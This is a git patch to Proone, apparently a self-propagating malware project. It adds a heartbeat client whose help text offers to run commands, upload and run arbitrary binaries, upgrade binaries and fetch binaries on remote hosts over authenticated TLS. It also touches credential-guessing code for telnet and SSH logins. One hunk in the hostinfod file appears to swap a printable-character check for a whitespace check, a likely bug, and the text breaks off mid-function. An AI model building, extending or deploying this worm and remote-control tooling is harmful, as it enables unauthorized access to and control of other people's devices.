From 15bde4c46b707f7a95c7ea6650a3f02d67e50530 Mon Sep 17 00:00:00 2001 From: David Timber Date: Mon, 12 Jul 2021 16:16:22 +1000 Subject: Impl proone-htbtclient, bugfix, --enable-mttools * Remove --enable-hostinfod and add --enable-mttools, which enables hostinfod and htbtclient * Change PRNE_HTBT_PROTO_PORT so that the macro can be used in another macro expression(for help message) * Add prne_mbedtls_perror() * proone-htbtclient: implement hostinfo command * proone-htbthost * Add --hostcred option * Response with status frame on ENOMEM * htbt: add prne_htbt_serrc_tostr() and prne_htbt_gen_msgid() * Add prne_ctoupper(), prne_ctolower(), prne_cisspace(), prne_cisprint() * The added functions are the locale-independent equivalent of their POSIX counterparts * Remove Use of the POSIX functions * Add test unit --- .vscode/launch.json | 14 + .vscode/tasks.json | 7 +- configure.ac | 18 +- src/Makefile.am | 8 +- src/bne.c | 14 +- src/htbt.c | 2 +- src/mbedtls.c | 10 + src/mbedtls.h | 2 + src/proone-hostinfod.c | 4 +- src/proone-htbtclient.c | 1111 +++++++++++++++++++++++++++++++++++++++++++++++ src/proone-htbthost.c | 38 +- src/proone-recon.c | 4 +- src/proone-resolv.c | 24 +- src/proone-test_util.c | 15 + src/protocol.c | 14 + src/protocol.h | 8 +- src/util_rt.c | 63 ++- src/util_rt.h | 19 + 18 files changed, 1318 insertions(+), 57 deletions(-) diff --git a/.vscode/launch.json b/.vscode/launch.json index e1aa280..bd9d2e0 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -30,6 +30,20 @@ "preLaunchTask": "Build htbthost", "miDebuggerPath": "/usr/bin/gdb" }, + { + "name": "htbtclient", + "type": "cppdbg", + "request": "launch", + "program": "${workspaceFolder}/src/proone-htbtclient", + "args": [ "-t", "localhost", "hostinfo" ], + "stopAtEntry": false, + "cwd": "${workspaceFolder}", + "environment": [], + "externalConsole": false, + "MIMode": "gdb", + "preLaunchTask": "Build htbtclient", + "miDebuggerPath": "/usr/bin/gdb" + }, { "name": "resolv", "type": "cppdbg", diff --git a/.vscode/tasks.json b/.vscode/tasks.json index bd3d1c8..4b31a75 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -30,6 +30,11 @@ "type": "shell", "command": "make -C ./src proone-htbthost" }, + { + "label": "Build htbtclient", + "type": "shell", + "command": "make -C ./src proone-htbtclient" + }, { "label": "Build resolv", "type": "shell", @@ -64,7 +69,7 @@ "label": "Build hostinfod", "type": "shell", "command": "make -C ./src proone-hostinfod" - } + }, { "label": "Build proone", "type": "shell", diff --git a/configure.ac b/configure.ac index 39ff60b..2eb8dbe 100644 --- a/configure.ac +++ b/configure.ac @@ -32,16 +32,16 @@ esac], [static=false]) AM_CONDITIONAL(STATIC_RT, test x"$static" = x"true") -AC_ARG_ENABLE(hostinfod, -AS_HELP_STRING([--enable-hostinfod], - [build hostinfod. Default: no]), +AC_ARG_ENABLE(mttools, +AS_HELP_STRING([--enable-mttools], + [build maintenance tools. Default: no]), [case "${enableval}" in - yes) hostinfod=true ;; - no) hostinfod=false ;; - *) AC_MSG_ERROR([bad value ${enableval} for --enable-hostinfod]) ;; + yes) mttools=true ;; + no) mttools=false ;; + *) AC_MSG_ERROR([bad value ${enableval} for --enable-mttools]) ;; esac], -[hostinfod=false]) -AM_CONDITIONAL(BUILD_HOSTINFOD, test x"$hostinfod" = x"true") +[mttools=false]) +AM_CONDITIONAL(BUILD_MTTOOLS, test x"$mttools" = x"true") AC_ARG_VAR( @@ -88,7 +88,7 @@ AC_CHECK_LIB( [pth_init], [], [AC_MSG_ERROR([pthsem not found])]) -AS_IF([test x"$hostinfod" = x"true"], [ +AS_IF([test x"$mttools" = x"true"], [ AC_CHECK_LIB([yaml], [yaml_parser_initialize], [], diff --git a/src/Makefile.am b/src/Makefile.am index 92ef99c..8666f2b 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -45,8 +45,8 @@ bin_PROGRAMS =\ proone-recon\ proone-mkcdict\ proone-bne -if BUILD_HOSTINFOD -bin_PROGRAMS += proone-hostinfod +if BUILD_MTTOOLS +bin_PROGRAMS += proone-hostinfod proone-htbtclient endif proone_tests =\ @@ -127,9 +127,11 @@ proone_bne_SOURCES = proone-bne.c proone_recon_LDADD = libproone.a proone_recon_SOURCES = proone-recon.c -if BUILD_HOSTINFOD +if BUILD_MTTOOLS proone_hostinfod_LDADD = libproone.a proone_hostinfod_SOURCES = proone-hostinfod.c +proone_htbtclient_LDADD = libproone.a +proone_htbtclient_SOURCES = proone-htbtclient.c endif proone_test_proto_LDADD = libproone.a diff --git a/src/bne.c b/src/bne.c index d858a69..d23a91c 100644 --- a/src/bne.c +++ b/src/bne.c @@ -945,7 +945,7 @@ typedef struct { static void bne_sh_cpuinfo_parse_f (void *ctx_p, char *line) { bne_sh_cpuinfo_parse_ctx_t *ctx = (bne_sh_cpuinfo_parse_ctx_t*)ctx_p; - prne_transstr(line, tolower); + prne_transcstr(line, prne_ctolower); if ((strstr(line, "processor") == line || strstr(line, "model name") == line) && @@ -1799,7 +1799,7 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) { mbedtls_ssl_init(&ssl); ep.addr = ctx->param.subject; - ep.port = PRNE_HTBT_PROTO_PORT; + ep.port = (uint16_t)PRNE_HTBT_PROTO_PORT; // TRY if (ctx->param.htbt_ssl_conf == NULL) { @@ -2337,7 +2337,7 @@ static int bne_vtn_try_cred ( if (f_ret <= 0) { goto END; } - prne_transmem(ib.m + ib.len, f_ret, tolower); + prne_transcmem(ib.m + ib.len, f_ret, prne_ctolower); prne_iobuf_shift(&ib, f_ret); if (t_ctx->prompt_line == NULL) { @@ -2375,7 +2375,7 @@ static int bne_vtn_try_cred ( // trailing characters must be whitespaces ib_end = (char*)ib.m + ib.len; for (char *i = p_login + LOGIN_P_LEN; i < ib_end; i += 1) { - if (!isspace(*i)) { + if (!prne_cisspace(*i)) { continue; } } @@ -2423,7 +2423,7 @@ static int bne_vtn_try_cred ( if (f_ret <= 0) { goto END; } - prne_transmem(ib.m + ib.len, f_ret, tolower); + prne_transcmem(ib.m + ib.len, f_ret, prne_ctolower); prne_iobuf_shift(&ib, f_ret); if (prne_memmem(ib.m, ib.len, PWD_P, PWD_P_LEN) != NULL) { @@ -2463,7 +2463,7 @@ static int bne_vtn_try_cred ( if (f_ret <= 0) { goto END; } - prne_transmem(ib.m + ib.len, f_ret, tolower); + prne_transcmem(ib.m + ib.len, f_ret, prne_ctolower); prne_iobuf_shift(&ib, f_ret); if (prne_memmem(ib.m, ib.len, INC_P, INC_P_LEN) != NULL || @@ -2799,7 +2799,7 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { break; } memcpy(vs->auth_list, tmp, len + 1); - prne_transstr(vs->auth_list, tolower); + prne_transcstr(vs->auth_list, prne_ctolower); } else if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { break; diff --git a/src/htbt.c b/src/htbt.c index 09915e6..42e7573 100644 --- a/src/htbt.c +++ b/src/htbt.c @@ -26,7 +26,7 @@ // between 30 minutes and an hour #define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval #define HTBT_CNCP_INT_JIT 1800000 // half an hour jitter -#define HTBT_LBD_PORT prne_htobe16(PRNE_HTBT_PROTO_PORT) +#define HTBT_LBD_PORT prne_htobe16((uint16_t)PRNE_HTBT_PROTO_PORT) #define HTBT_LBD_BACKLOG 4 #define HTBT_LBD_MAX_CLIENTS 5 diff --git a/src/mbedtls.c b/src/mbedtls.c index 6b8b600..3372ee6 100644 --- a/src/mbedtls.c +++ b/src/mbedtls.c @@ -11,6 +11,7 @@ #include #include +#include int prne_mbedtls_x509_crt_verify_cb ( @@ -206,3 +207,12 @@ bool prne_mbedtls_verify_alp ( mbedtls_ssl_get_alpn_protocol(ctx), alp); } + +void prne_mbedtls_perror (const int err, const char *s) { + char str[256]; + + str[0] = 0; + mbedtls_strerror(err, str, sizeof(str)); + + fprintf(stderr, "%s: %s\n", s, str); +} diff --git a/src/mbedtls.h b/src/mbedtls.h index ea97adf..16777b4 100644 --- a/src/mbedtls.h +++ b/src/mbedtls.h @@ -39,3 +39,5 @@ bool prne_mbedtls_verify_alp ( const mbedtls_ssl_config *conf, const mbedtls_ssl_context *ctx, const char *alp); + +void prne_mbedtls_perror (const int err, const char *s); diff --git a/src/proone-hostinfod.c b/src/proone-hostinfod.c index f9e2d89..1726b7c 100644 --- a/src/proone-hostinfod.c +++ b/src/proone-hostinfod.c @@ -909,13 +909,13 @@ static bool handle_db_qe ( const char *pr[2] = { qv.cred_id, qv.cred_pw }; for (const char *p = pr[0]; *p != 0; p += 1) { - if (!isprint(*p)) { + if (!prne_cisspace(*p)) { pr[0] = "(bin)"; break; } } for (const char *p = pr[1]; *p != 0; p += 1) { - if (!isprint(*p)) { + if (!prne_cisspace(*p)) { pr[1] = "(bin)"; break; } diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c index e69de29..149b62f 100644 --- a/src/proone-htbtclient.c +++ b/src/proone-htbtclient.c @@ -0,0 +1,1111 @@ +/* +* No pipelining assumed. +*/ +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "protocol.h" +#include "util_rt.h" +#include "mbedtls.h" +#include "config.h" +#include "iobuf.h" + +#define STRINGIFY(x) #x +#define STRINGIFY_X(x) STRINGIFY(x) + +#define ROOT_TAG_NAME "htbtclient_run" +#define PREEMBLE_TAG_NAME "preemble" +#define BODY_TAG_NAME "body" + +#define MAIN_HELP_STR \ +"Proone Heartbeat Subsystem Client\n"\ +"Usage: %s [common options] ...\n"\ +"\n"\ +"COMMAND:\n"\ +" hostinfo query host info\n"\ +" hover send handover request\n"\ +" runcmd run command on host\n"\ +" runbin upload and run arbitrary binary on host\n"\ +" nybin perform binary upgrade on host\n"\ +" getbin download binary from host\n"\ +"\n"\ +"Common options:\n"\ +" -h, --help print help for specified command and exit. Print this\n"\ +" help and exit if no command is specified\n"\ +" -V, --version print version and exit\n"\ +" -x do not use stdio for user interaction(\"script mode\")\n"\ +" -v, --verbose increase verbose level. Can be specified more than once\n"\ +" --tls-ca path to tls CA certificate\n"\ +" --tls-cert path to tls client certificate\n"\ +" --tls-key path to tls private key\n"\ +" --tls-key-pw password for tls private key\n"\ +" -t, --host remote host to connect to\n"\ +" -p, --port specify port (default port: " STRINGIFY_X(PRNE_HTBT_PROTO_PORT) ")\n"\ +"\n"\ +"The server will not be verified if --tls-ca is not used. Rolled out htbt hosts \n"\ +"will verify clients by design/default so both --tls-cert and --tls-key should \n"\ +"be used.\n"\ +"\n"\ +"Use \"%s -h COMMAND\" to get help on each command.\n"\ +"\n" +#define HOSTINFO_HELP_STR \ +"Get host info from a Proone instance and ouput in YAML format.\n"\ +"Usage: %s [common options] hostinfo\n"\ +"\n" + +enum sub_command { + SC_NONE, + SC_HOSTINFO, + SC_HOVER, + SC_RUNCMD, + SC_RUNBIN, + SC_NYBIN, + SC_GETBIN +}; +typedef enum sub_command sub_command_t; + +struct { + char *tls_ca; + char *tls_cert; + char *tls_key; + char tls_key_pw[256]; // scrub after use + char *remote_host; + char *remote_port; + sub_command_t cmd; + int prne_vl; + bool help; // -h or --help used + bool version; // -V or --version used + bool tls_key_pw_arg; // true if tls_key_pw is passed via option + bool no_term; // true if terminal interaction is not permitted +} prog_conf; + +struct { + struct { + mbedtls_ssl_config conf; + mbedtls_x509_crt ca; + mbedtls_x509_crt crt; + mbedtls_pk_context pk; + mbedtls_ctr_drbg_context rnd; + mbedtls_entropy_context ent; + mbedtls_ssl_context ctx; + } ssl; + struct { + mbedtls_net_context ctx; + prne_iobuf_t ib[2]; + } net; + struct { + yaml_emitter_t *emitter; + } yaml; +} prog_g; + +static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) { + switch (sc) { + // TODO + case SC_HOSTINFO: + fprintf(out_f, HOSTINFO_HELP_STR, prog); + break; + default: fprintf(out_f, MAIN_HELP_STR, prog, prog); + } +} + +static void init_prog_g (void) { + bool alloc_ret = true; + prne_memzero(&prog_g, sizeof(prog_g)); // so main() is recallable + + mbedtls_ssl_config_init(&prog_g.ssl.conf); + mbedtls_x509_crt_init(&prog_g.ssl.ca); + mbedtls_x509_crt_init(&prog_g.ssl.crt); + mbedtls_pk_init(&prog_g.ssl.pk); + mbedtls_entropy_init(&prog_g.ssl.ent); + mbedtls_ctr_drbg_init(&prog_g.ssl.rnd); + mbedtls_ssl_init(&prog_g.ssl.ctx); + + mbedtls_net_init(&prog_g.net.ctx); + prne_init_iobuf(prog_g.net.ib + 0); + prne_init_iobuf(prog_g.net.ib + 1); + alloc_ret &= prne_alloc_iobuf( + prog_g.net.ib + 0, + prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize())); + alloc_ret &= prne_alloc_iobuf( + prog_g.net.ib + 1, + prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize())); + if (!alloc_ret) { + perror("prne_alloc_iobuf()"); + abort(); + } +} + +static void deinit_prog_g (void) { + // TODO +} + +static void init_prog_conf (void) { + prne_memzero(&prog_conf, sizeof(prog_conf)); // so main() is recallable + + prog_conf.remote_port = prne_dup_str(STRINGIFY_X(PRNE_HTBT_PROTO_PORT)); +} + +static void deinit_prog_conf (void) { + prne_free(prog_conf.tls_ca); + prne_free(prog_conf.tls_cert); + prne_free(prog_conf.tls_key); + // Security first! + prne_memzero(prog_conf.tls_key_pw, sizeof(prog_conf.tls_key_pw)); + prne_free(prog_conf.remote_host); + prne_free(prog_conf.remote_port); +} + +static bool is_info_run (void) { + return prog_conf.help || prog_conf.version; +} + +static void print_version (FILE *f) { + static const uint8_t ver_uuid[] = PRNE_PROG_VER; + static char ver_str[37]; + + if (ver_str[0] == 0) { + prne_uuid_tostr(ver_uuid, ver_str); + } + + fprintf( + f, + "PRNE_PROG_VER: %s\n" + "__DATE__: %s\n", + ver_str, + __DATE__); +} + +static void load_optarg (char **out) { + const size_t l = strlen(optarg); + + prne_free(*out); + *out = prne_alloc_str(l); + strncpy(*out, optarg, l); +} + +static bool assert_host_arg (void) { + if (prog_conf.remote_host == NULL) { + fprintf(stderr, "Use -t or --host option to specify host.\n"); + return false; + } + return true; +} + +static int parse_args_hostinfo (const int argc, char *const *args) { + if (assert_host_arg()) { + return 0; + } + return 2; +} + +static int parse_args_hover (const int argc, char *const *args) { + if (!assert_host_arg()) { + return 2; + } + // TODO + return 0; +} + +static int parse_args_runcmd (const int argc, char *const *args) { + if (!assert_host_arg()) { + return 2; + } + // TODO + return 0; +} + +static int parse_args_runbin (const int argc, char *const *args) { + if (!assert_host_arg()) { + return 2; + } + // TODO + return 0; +} + +static int parse_args_nybin (const int argc, char *const *args) { + if (!assert_host_arg()) { + return 2; + } + // TODO + return 0; +} + +static int parse_args_getbin (const int argc, char *const *args) { + if (!assert_host_arg()) { + return 2; + } + // TODO + return 0; +} + +static int parse_args (const int argc, char *const *args) { + int fr, li, ret = 0; + struct option lopts[] = { + { "help", no_argument, 0, 0 }, + { "version", no_argument, 0, 0 }, + { "verbose", no_argument, 0, 0 }, + { "tls-ca", required_argument, 0, 0 }, + { "tls-cert", required_argument, 0, 0 }, + { "tls-key", required_argument, 0, 0 }, + { "tls-key-pw", required_argument, 0, 0 }, + { "host", required_argument, 0, 0 }, + { "port", required_argument, 0, 0 }, + { 0, 0, 0, 0 } + }; + const struct option *cur_lo; + + while (true) { + fr = getopt_long(argc, args, "+hVvxt:p:", lopts, &li); + + switch (fr) { + case 0: + cur_lo = lopts + li; + + if (strcmp("help", cur_lo->name) == 0) { + prog_conf.help = true; + } + else if (strcmp("verbose", cur_lo->name) == 0) { + prog_conf.prne_vl += 1; + } + else if (strcmp("version", cur_lo->name) == 0) { + prog_conf.version = true; + } + else if (strcmp("tls-ca", cur_lo->name) == 0) { + load_optarg(&prog_conf.tls_ca); + } + else if (strcmp("tls-cert", cur_lo->name) == 0) { + load_optarg(&prog_conf.tls_cert); + } + else if (strcmp("tls-key", cur_lo->name) == 0) { + load_optarg(&prog_conf.tls_key); + } + else if (strcmp("tls-key-pw", cur_lo->name) == 0) { + strncpy( + prog_conf.tls_key_pw, + optarg, + sizeof(prog_conf.tls_key_pw) - 1); + prog_conf.tls_key_pw_arg = true; + } + else if (strcmp("host", cur_lo->name) == 0) { + load_optarg(&prog_conf.remote_host); + } + else if (strcmp("port", cur_lo->name) == 0) { + load_optarg(&prog_conf.remote_port); + } + else { + abort(); + } + break; + case 'V': + prog_conf.version = true; + break; + case 'v': + prog_conf.prne_vl += 1; + break; + case 'h': + prog_conf.help = true; + break; + case 'x': + prog_conf.no_term = true; + break; + case 't': + load_optarg(&prog_conf.remote_host); + break; + case 'p': + load_optarg(&prog_conf.remote_port); + break; + default: + goto END_LOOP; + } + } +END_LOOP: + + if (!is_info_run()) { + if ((prog_conf.tls_cert == NULL) ^ (prog_conf.tls_key == NULL)) { + fprintf(stderr, "--tls-cert and --tls-key must be used in pair.\n"); + return 2; + } + } + + if (optind < argc) { + const char *cmd_str = args[optind]; + + optind += 1; + if (strcmp("hostinfo", cmd_str) == 0) { + prog_conf.cmd = SC_HOSTINFO; + } + else if (strcmp("hover", cmd_str) == 0) { + prog_conf.cmd = SC_HOVER; + } + else if (strcmp("runcmd", cmd_str) == 0) { + prog_conf.cmd = SC_RUNCMD; + } + else if (strcmp("runbin", cmd_str) == 0) { + prog_conf.cmd = SC_RUNBIN; + } + else if (strcmp("nybin", cmd_str) == 0) { + prog_conf.cmd = SC_NYBIN; + } + else if (strcmp("getbin", cmd_str) == 0) { + prog_conf.cmd = SC_GETBIN; + } + else { + fprintf(stderr, "Invalid COMMAND \"%s\".\n", cmd_str); + return 2; + } + } + + if (is_info_run()) { + return 0; + } + switch (prog_conf.cmd) { + case SC_HOSTINFO: ret = parse_args_hostinfo(argc, args); break; + case SC_HOVER: ret = parse_args_hover(argc, args); break; + case SC_RUNCMD: ret = parse_args_runcmd(argc, args); break; + case SC_RUNBIN: ret = parse_args_runbin(argc, args); break; + case SC_NYBIN: ret = parse_args_nybin(argc, args); break; + case SC_GETBIN: ret = parse_args_getbin(argc, args); break; + default: fprintf(stderr, "COMMAND not specified.\n"); + } + + return ret; +} + +static bool interact_tls_key_pw (void) { + int f_ret; + char *s_ret; + struct termios t; + tcflag_t saved_flags; + bool ret = true, flags_saved = false; + regex_t re_tnl; + regmatch_t rm[2]; + + f_ret = regcomp(&re_tnl, "([\\r\\n]+)$", REG_ICASE | REG_EXTENDED); + if (f_ret != 0) { + abort(); + } + +// TRY + if (prog_conf.tls_key_pw_arg) { + ret = false; + goto END; + } + if (isatty(STDIN_FILENO) == 0 || prog_conf.no_term) { + fprintf( + stderr, + "TLS PK is encrypted but terminal interaction is not possible.\n"); + ret = false; + goto END; + } + + fprintf(stderr, "TLS PK password: "); + fflush(stderr); + + // turn off echo + f_ret = tcgetattr(STDIN_FILENO, &t); + if (f_ret != 0) { + perror("tcgetattr()"); + ret = false; + goto END; + } + saved_flags = t.c_lflag; + flags_saved = true; + t.c_lflag &= ~ECHO; + t.c_lflag |= ECHONL; + f_ret = tcsetattr(STDIN_FILENO, TCSAFLUSH, &t); + if (f_ret != 0) { + perror("tcsetattr()"); + ret = false; + goto END; + } + + s_ret = fgets( + prog_conf.tls_key_pw, + sizeof(prog_conf.tls_key_pw), + stdin); + if (s_ret == NULL) { + ret = false; + goto END; + } + + f_ret = regexec(&re_tnl, prog_conf.tls_key_pw, 2, rm, 0); + if (f_ret == 0 && rm[1].rm_eo >= 0) { + // trailing newline character(\r or \n) found. + // no need to dock the string if the input string does not end with + // newline. + prog_conf.tls_key_pw[rm[1].rm_eo] = 0; + } + +END: // CATCH + if (flags_saved) { + t.c_lflag = saved_flags; + tcsetattr(STDIN_FILENO, TCSAFLUSH, &t); + } + return ret; +} + +static int init_tls (void) { + int f_ret; + static const char *ALPN_ARR[] = { + PRNE_HTBT_TLS_ALP, + NULL + }; + + f_ret = mbedtls_ctr_drbg_seed( + &prog_g.ssl.rnd, + mbedtls_entropy_func, + &prog_g.ssl.ent, + NULL, + 0); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ctr_drbg_seed()"); + abort(); + } + + f_ret = mbedtls_ssl_config_defaults( + &prog_g.ssl.conf, + MBEDTLS_SSL_IS_CLIENT, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ssl_config_defaults()"); + abort(); + } + + f_ret = mbedtls_ssl_conf_alpn_protocols(&prog_g.ssl.conf, ALPN_ARR); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ssl_conf_alpn_protocols()"); + abort(); + } + + mbedtls_ssl_conf_rng( + &prog_g.ssl.conf, + mbedtls_ctr_drbg_random, + &prog_g.ssl.rnd); + + if (prog_conf.tls_ca != NULL) { + f_ret = mbedtls_x509_crt_parse_file(&prog_g.ssl.ca, prog_conf.tls_ca); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, prog_conf.tls_ca); + return 1; + } + mbedtls_ssl_conf_ca_chain(&prog_g.ssl.conf, &prog_g.ssl.ca, NULL); + mbedtls_ssl_conf_authmode( + &prog_g.ssl.conf, + MBEDTLS_SSL_VERIFY_REQUIRED); + } + else { + mbedtls_ssl_conf_authmode( + &prog_g.ssl.conf, + MBEDTLS_SSL_VERIFY_OPTIONAL); + } + if (prog_conf.tls_cert != NULL) { + f_ret = mbedtls_x509_crt_parse_file(&prog_g.ssl.crt, prog_conf.tls_cert); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, prog_conf.tls_cert); + return 1; + } + } + if (prog_conf.tls_key != NULL) { + do { + f_ret = mbedtls_pk_parse_keyfile( + &prog_g.ssl.pk, + prog_conf.tls_key, + prog_conf.tls_key_pw); + switch (f_ret) { + case MBEDTLS_ERR_PK_PASSWORD_REQUIRED: + case MBEDTLS_ERR_PK_PASSWORD_MISMATCH: + prne_mbedtls_perror(f_ret, "mbedtls_pk_parse_keyfile()"); + if (!interact_tls_key_pw()) { + return 1; + } + break; + case 0: break; + default: + prne_mbedtls_perror(f_ret, prog_conf.tls_key); + return 1; + } + } while (f_ret != 0); + } + prne_memzero(prog_conf.tls_key_pw, sizeof(prog_conf.tls_key_pw)); + + f_ret = mbedtls_ssl_conf_own_cert( + &prog_g.ssl.conf, + &prog_g.ssl.crt, + &prog_g.ssl.pk); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ssl_conf_own_cert()"); + return 1; + } + + return 0; +} + +static int yaml_output_handler(void *data, unsigned char *buffer, size_t size) { + ssize_t io_ret; + + while (size > 0) { + io_ret = write(STDOUT_FILENO, buffer, size); + if (io_ret <= 0) { + if (io_ret < 0) { + perror("write()"); + } + return false; + } + size -= io_ret; + buffer += io_ret; + } + return true; +} + +static void yaml_perror (const char *s) { + fprintf(stderr, "%s: %s\n", s, prog_g.yaml.emitter->problem); +} + +static void emit_mapping_start (void) { + yaml_event_t e; + + if (yaml_mapping_start_event_initialize( + &e, + NULL, + (yaml_char_t*)YAML_MAP_TAG, + true, + YAML_ANY_MAPPING_STYLE) == 0 || + yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0) + { + yaml_perror("yaml_mapping_start_event_initialize()"); + abort(); + } +} + +static void emit_mapping_end (void) { + yaml_event_t e; + + if (yaml_mapping_end_event_initialize(&e) == 0 || + yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0) + { + yaml_perror("yaml_mapping_end_event_initialize()"); + abort(); + } +} + +static void emit_scalar (const char *type, const char *val) { + yaml_event_t e; + + if (yaml_scalar_event_initialize( + &e, + NULL, + (yaml_char_t*)type, + (yaml_char_t*)val, + strlen(val), + true, + false, + YAML_ANY_SCALAR_STYLE) == 0 || + yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0) + { + yaml_perror("yaml_mapping_end_event_initialize()"); + abort(); + } +} + +static void emit_scalar_fmt (const char *type, const char *fmt, ...) { + char *str; + int f_ret; + va_list va; + + va_start(va, fmt); + f_ret = vsnprintf(NULL, 0, fmt, va); + va_end(va); + if (f_ret < 0) { + perror("vsnprintf()"); + abort(); + } + + str = prne_alloc_str(f_ret); + va_start(va, fmt); + f_ret = vsnprintf(str, (size_t)f_ret + 1, fmt, va); + va_end(va); + + emit_scalar(type, str); + prne_free(str); +} + +static void start_yaml (void) { + yaml_event_t e; + + if (prog_g.yaml.emitter != NULL) { + fprintf(stderr, "start_yaml() called twice!\n"); + abort(); + } + + prog_g.yaml.emitter = prne_malloc(sizeof(yaml_emitter_t), 1); + if (yaml_emitter_initialize(prog_g.yaml.emitter) == 0) { + yaml_perror("yaml_emitter_initialize()"); + abort(); + } + yaml_emitter_set_output(prog_g.yaml.emitter, yaml_output_handler, NULL); + + if (yaml_stream_start_event_initialize(&e, YAML_UTF8_ENCODING) == 0 || + yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0) + { + yaml_perror("yaml_stream_start_event_initialize()"); + abort(); + } + if (yaml_document_start_event_initialize(&e, NULL, NULL, NULL, true) == 0 || + yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0) + { + yaml_perror("yaml_document_start_event_initialize()"); + abort(); + } + emit_mapping_start(); + emit_scalar(YAML_STR_TAG, ROOT_TAG_NAME); + emit_mapping_start(); +} + +static void end_yaml (void) { + yaml_event_t e; + + if (prog_g.yaml.emitter == NULL) { + return; + } + + emit_mapping_end(); + emit_mapping_end(); + if (yaml_document_end_event_initialize(&e, true) == 0 || + yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0) + { + yaml_perror("yaml_document_end_event_initialize()"); + abort(); + } + if (yaml_stream_end_event_initialize(&e) == 0 || + yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0) + { + yaml_perror("yaml_stream_end_event_initialize()"); + abort(); + } +} + +static bool do_connect (void) { + int f_ret; + + f_ret = mbedtls_net_connect( + &prog_g.net.ctx, + prog_conf.remote_host, + prog_conf.remote_port, + MBEDTLS_NET_PROTO_TCP); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, "mbedtls_net_connect()"); + return false; + } + + f_ret = mbedtls_ssl_setup(&prog_g.ssl.ctx, &prog_g.ssl.conf); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ssl_setup()"); + return false; + } + mbedtls_ssl_set_bio( + &prog_g.ssl.ctx, + &prog_g.net.ctx, + mbedtls_net_send, + mbedtls_net_recv, + mbedtls_net_recv_timeout); + + return true; +} + +static uint16_t htbt_msgid_rnd_f (void *ctx) { + int f_ret; + uint16_t ret; + + f_ret = mbedtls_ctr_drbg_random( + &prog_g.ssl.rnd, + (unsigned char*)&ret, + sizeof(ret)); + if (f_ret != 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ctr_drbg_random()"); + abort(); + } + return ret; +} + +static void raise_proto_err (void) { + // TODO +} + +static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) { + int f_ret; + size_t actual; + prne_htbt_ser_rc_t rc; + + prne_iobuf_reset(prog_g.net.ib + 1); + rc = ser_f( + prog_g.net.ib[1].m, + prog_g.net.ib[1].avail, + &actual, + frame); + switch (rc) { + case PRNE_HTBT_SER_RC_OK: break; + case PRNE_HTBT_SER_RC_ERRNO: + perror("prne_htbt_ser_ft()"); + return false; + default: + fprintf(stderr, "prne_htbt_ser_ft(): %s\n", prne_htbt_serrc_tostr(rc)); + return false; + } + prne_iobuf_shift(prog_g.net.ib + 1, actual); + + while (prog_g.net.ib[1].len > 0) { + f_ret = mbedtls_ssl_write( + &prog_g.ssl.ctx, + prog_g.net.ib[1].m, + prog_g.net.ib[1].len); + if (f_ret == 0) { + fprintf(stderr, "mbedtls_ssl_write(): EOF\n"); + raise_proto_err(); + return false; + } + if (f_ret < 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ssl_write()"); + return false; + } + prne_iobuf_shift(prog_g.net.ib + 1, -f_ret); + } + + return true; +} + +static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) { + size_t actual; + prne_htbt_ser_rc_t rc; + int f_ret; + + while (true) { + rc = dser_f(prog_g.net.ib[0].m, prog_g.net.ib[0].len, &actual, frame); + + switch (rc) { + case PRNE_HTBT_SER_RC_OK: + prne_iobuf_shift(prog_g.net.ib + 0, -actual); + return true; + case PRNE_HTBT_SER_RC_MORE_BUF: + assert(actual <= prog_g.net.ib[0].size); + break; + case PRNE_HTBT_SER_RC_ERRNO: + perror("dser_f()"); + abort(); + default: + raise_proto_err(); + return false; + } + + f_ret = mbedtls_ssl_read( + &prog_g.ssl.ctx, + prog_g.net.ib[0].m + prog_g.net.ib[0].len, + prog_g.net.ib[0].avail); + if (f_ret == 0) { + fprintf(stderr, "mbedtls_ssl_read(): EOF\n"); + raise_proto_err(); + return false; + } + if (f_ret < 0) { + prne_mbedtls_perror(f_ret, "mbedtls_ssl_read()"); + return false; + } + prne_iobuf_shift(prog_g.net.ib + 0, f_ret); + } +} + +static bool recv_mh (prne_htbt_msg_head_t *mh, const uint16_t *cor_id) { + if (!recv_frame(mh, (prne_htbt_dser_ft)prne_htbt_dser_msg_head)) { + return false; + } + + if (!mh->is_rsp) { + raise_proto_err(); + fprintf(stderr, "recv_mh(): received request frame\n"); + return false; + } + if (cor_id != NULL && *cor_id != mh->id) { + raise_proto_err(); + fprintf(stderr, "recv_mh(): received request frame\n"); + return false; + } + + return true; +} + +static void emit_status_frame (const prne_htbt_status_t *st) { + emit_scalar(YAML_STR_TAG, BODY_TAG_NAME); + + emit_mapping_start(); + emit_scalar(YAML_INT_TAG,"code"); + emit_scalar_fmt(YAML_INT_TAG, "%d", st->code); + 